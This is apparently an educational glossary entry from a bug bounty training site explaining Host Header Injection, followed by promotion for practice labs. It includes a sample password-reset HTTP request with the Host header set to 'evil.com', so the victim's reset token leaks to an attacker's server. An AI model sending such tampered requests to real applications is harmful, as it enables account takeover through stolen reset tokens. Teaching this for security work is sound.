Host Header Injection

Medium

Host Header Injection

Definition

Host Header Injection is a vulnerability that occurs when an application blindly trusts the value of the HTTP request's Host header. An attacker can tamper with this header to poison password-reset links, manipulate routing or poison web caches.

Impact

Poisoning of password-reset linksWeb cache poisoningBypassing virtual-host based access controlsInternal Server-Side Request ForgeryRedirection to malicious domains

Examples

Password Reset Poisoning

The application uses the Host header to generate absolute URLs in password-reset emails. By changing it to the attacker's domain, the reset link points to the malicious server, capturing the token when the victim clicks.

# Password-reset request with a tampered Host
POST /api/auth/forgot-password HTTP/1.1
Host: evil.com
Content-Type: application/json

{"email": "victim@example.com"}

# The server generates a link using the Host header:
# https://evil.com/reset-password?token=abc123
# This link is sent to the victim's email

# If the victim clicks, the token is sent to the attacker's server

Practice Host Header Injection with real labs

Apply what you've learned in safe environments based on real bug bounty reports.

See practice labs
hunters training
712

hunters training

labs from real reports
55

labs from real reports

completions
1,206

completions

in bounties practiced
$213,970

in bounties practiced

46 flags captured this week·Real reports from HackerOne · Bugcrowd · Intigriti·No commitment·Free Academy
BBLabs · bug bounty training

Stop reading about bugs and start hunting them

Create your free account and practice on labs based on real reports that paid out thousands of euros. The Academy is free forever.

No card · free Academy · cancel anytime